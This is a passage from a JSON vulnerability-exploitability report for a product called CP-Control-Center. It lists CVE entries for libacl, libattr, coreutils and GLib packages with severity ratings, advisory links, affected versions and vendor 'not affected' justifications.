"id": "CVE-2026-54369", "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 59 ], "description": "acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_extended_file(), and acl_delete_def_file() that allows local attackers to escalate privileges by replacing any pathname component with a symbolic link. Attackers who control any component of a pathname processed by a privileged caller can redirect ACL read or write operations to arbitrary files or directories, enabling unauthorized manipulation of access control lists and local privilege escalation.", "recommendation": "Upgrade libacl to version 2.4.0-1.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54369" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34351" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42736" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42739" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43420" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44481" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46836" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50205" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53371" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54769" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54369" }, { "url": "https://bugzilla.redhat.com/2490277" }, { "url": "https://bugzilla.redhat.com/2490279" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490277" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490279" }, { "url": "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=24a227d0ab8576612194f8a56c2314389adc74a5" }, { "url": "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=3589787cd589b34bdd9265936e17190b6d3f17d1" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54369" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54370" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-42736.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:42736" }, { "url": "https://linux.oracle.com/cve/CVE-2026-54369.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-43420.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54369" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54369.json" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54369" }, { "url": "https://www.vulncheck.com/advisories/acl-symlink-traversal-privilege-escalation-via-libacl-functions" } ], "published": "2026-06-29T14:16:57+00:00", "updated": "2026-09-01T13:19:47+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.3.1-4.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-54370", "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 367 ], "description": "acl before version 2.4.0 contains a time-of-check to time-of-use (TOCTOU) race condition vulnerability that allows local attackers to escalate privileges by replacing a pathname component with a symbolic link between an lstat() check and subsequent symlink-following operations such as stat(), chown(), chmod(), acl_get_file(), and acl_set_file(). Attackers who control a pathname component can redirect file access control list operations to arbitrary files when getfacl, setfacl, or chacl is invoked by a privileged process over an attacker-controlled path, resulting in local privilege escalation.", "recommendation": "Upgrade libacl to version 2.4.0-1.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54370" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42736" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54370" }, { "url": "https://bugzilla.redhat.com/2490277" }, { "url": "https://bugzilla.redhat.com/2490279" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490277" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490279" }, { "url": "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=24a227d0ab8576612194f8a56c2314389adc74a5" }, { "url": "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=3589787cd589b34bdd9265936e17190b6d3f17d1" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54369" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54370" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-42736.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:42736" }, { "url": "https://linux.oracle.com/cve/CVE-2026-54370.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-43420.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54370" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54370" }, { "url": "https://www.vulncheck.com/advisories/acl-toctou-symlink-traversal-via-getfacl-setfacl-chacl" } ], "published": "2026-06-29T14:16:57+00:00", "updated": "2026-06-29T19:22:57+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.3.1-4.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/libacl@2.3.1-4.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-54371", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 6.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 59 ], "description": "attr before version 2.6.0 contains a symlink traversal vulnerability in the getfattr and setfattr utilities that allows local attackers to escalate privileges by replacing a pathname component with a symbolic link during directory hierarchy traversal. Attackers who control a pathname component can redirect getfattr and setfattr operations to arbitrary files by substituting a symlink, leading to local privilege escalation when getfattr or setfattr is invoked by a privileged process over an attacker-controlled path.", "recommendation": "Upgrade libattr to version 2.6.0-1.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54371" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34889" }, { "url": "https://access.redhat.com/errata/RHSA-2026:56133" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59380" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60226" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54371" }, { "url": "https://bugzilla.redhat.com/2490283" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490283" }, { "url": "https://cgit.git.savannah.nongnu.org/cgit/attr.git/commit/?id=49f79e947270f06940b9100fa638f85dddc4aa7f" }, { "url": "https://cgit.git.savannah.nongnu.org/cgit/attr.git/commit/?id=c440855d6b33446edf4b5eb1a2d892281f15a99b" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54371" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60226.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60226" }, { "url": "https://linux.oracle.com/cve/CVE-2026-54371.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-60226-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54371" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54371.json" }, { "url": "https://ubuntu.com/security/notices/USN-8691-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54371" }, { "url": "https://www.openwall.com/lists/oss-security/2026/06/29/1" }, { "url": "https://www.vulncheck.com/advisories/attr-symlink-traversal-privilege-escalation-via-getfattr-setfattr" } ], "published": "2026-06-29T14:16:57+00:00", "updated": "2026-09-02T13:18:02+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libattr@2.5.1-3.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.5.1-3.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libattr@2.5.1-3.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/libattr@2.5.1-3.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/libattr@2.5.1-3.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-56391", "ratings": [ { "source": { "name": "nvd" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 125 ], "description": "GNU coreutils uniq is vulnerable to an out\u2011of\u2011bounds read due to incorrect handling of multibyte input when the -w (--check-chars) option is used. The find_field() function miscalculates the byte length of characters by repeatedly processing a fixed pointer instead of advancing through the input, resulting in an inflated length value. \nThis incorrect length is later used in a memcmp operation, causing reads beyond the allocated buffer when processing crafted multibyte input.\n\nWhen running GNU coreutils uniq with attacker-provided arguments, this behavior leads to a crash and potential adjacent heap memory exposure.\n\n\nThis issue has been fixed in the commit d64e35a8a4c0e4608321433e0d84d917e4e36371.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56391" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56391" }, { "url": "https://cert.pl/en/posts/2026/07/CVE-2026-56391" }, { "url": "https://git.savannah.gnu.org/cgit/coreutils.git" }, { "url": "https://git.savannah.gnu.org/cgit/coreutils.git/" }, { "url": "https://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=d64e35a8a4c0e4608321433e0d84d917e4e36371" }, { "url": "https://github.com/advisories/GHSA-7xvj-m9x7-qgxq" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56391" }, { "url": "https://ubuntu.com/security/notices/USN-8697-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56391" }, { "url": "https://www.openwall.com/lists/oss-security/2026/07/25/2" } ], "published": "2026-07-24T09:16:25+00:00", "updated": "2026-08-26T13:52:50+00:00", "affects": [ { "ref": "pkg:rpm/redhat/coreutils-common@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "8.32-41.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/coreutils@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "8.32-41.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/coreutils-single@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "8.32-41.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/coreutils-common@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/coreutils@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/coreutils-single@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/coreutils-single@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-56392", "ratings": [ { "source": { "name": "nvd" }, "score": 6.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 4.4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L" } ], "cwes": [ 122 ], "description": "GNU coreutils unexpand is vulnerable to a heap-based buffer overflow due to an integer overflow during buffer allocation when processing large tab stop (-t) values. The multiplication used to calculate the allocation size can wrap around, resulting in an undersized buffer.\nWhen processing crafted input, subsequent writes exceed the allocated memory, leading to an out\u2011of\u2011bounds heap write.\n\nWhen running GNU coreutils unexpand with attacker-provided large tab stop (-t) arguments, this behavior leads to a crash and potentially achieve a heap write primitive depending on memory layout.\n\n\n\n\n\n\n\n\n\n\nThis issue has been fixed in the commit b60a159fdc5bfcf9988d3a4cb6f53abe8ad5d35d", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56392" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56392" }, { "url": "https://cert.pl/en/posts/2026/07/CVE-2026-56391" }, { "url": "https://git.savannah.gnu.org/cgit/coreutils.git" }, { "url": "https://git.savannah.gnu.org/cgit/coreutils.git/" }, { "url": "https://git.savannah.gnu.org/cgit/coreutils.git/commit/?id=b60a159fdc5bfcf9988d3a4cb6f53abe8ad5d35d" }, { "url": "https://github.com/advisories/GHSA-g24f-m2hx-pfgx" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56392" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56392" } ], "published": "2026-07-24T09:16:25+00:00", "updated": "2026-08-26T14:05:38+00:00", "affects": [ { "ref": "pkg:rpm/redhat/coreutils-common@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "8.32-41.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/coreutils@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "8.32-41.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/coreutils-single@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "8.32-41.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/coreutils-common@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/coreutils@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/coreutils-single@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/coreutils-single@8.32-41.el9_8?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-58010", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 126 ], "description": "A flaw was found in GLib. An off-by-one error can occur in the gvs_tuple_is_normal function in the glib/gvariant-serialiser.c file when doing an alignment padding check because the bounds check uses > instead of >=, causing an out-of-bounds read of only 1 byte. This issue can cause a minor information disclosure of 1 byte and a denial of service when the out-of-bounds read crosses a page boundary.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58010" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58010" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://github.com/advisories/GHSA-m7rp-473c-296x" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3915" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58010.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58010" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58010" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-09-01T03:16:49+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-58011", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 125 ], "description": "A flaw was found in GLib. An out-of-bounds read of only 2 bytes can occur in the g_date_time_get_ymd function in the glib/gdatetime.c file when an invalid GDateTime object produced by the g_date_time_add_full function is processed. This flaw can corrupt the date output and potentially cause logic errors that may lead to a denial of service.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58011" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58011" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://github.com/advisories/GHSA-8xmh-8wfg-9f6j" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3917" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/work_items/3917" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58011.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58011" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58011" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-09-01T03:16:49+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-58012", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 126 ], "description": "A flaw was found in GLib. A buffer over-read can occur in the g_regex_replace function when used with the `G_REGEX_RAW` compile flag and case-change replacement escapes because the string_append function processes matched substrings using UTF-8 functions that assume valid UTF-8 input, even when the string is treated as raw bytes. This vulnerability can cause a minor information disclosure of 1-5 bytes and a denial of service when the buffer over-read crosses a page boundary.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58012" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58012" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": 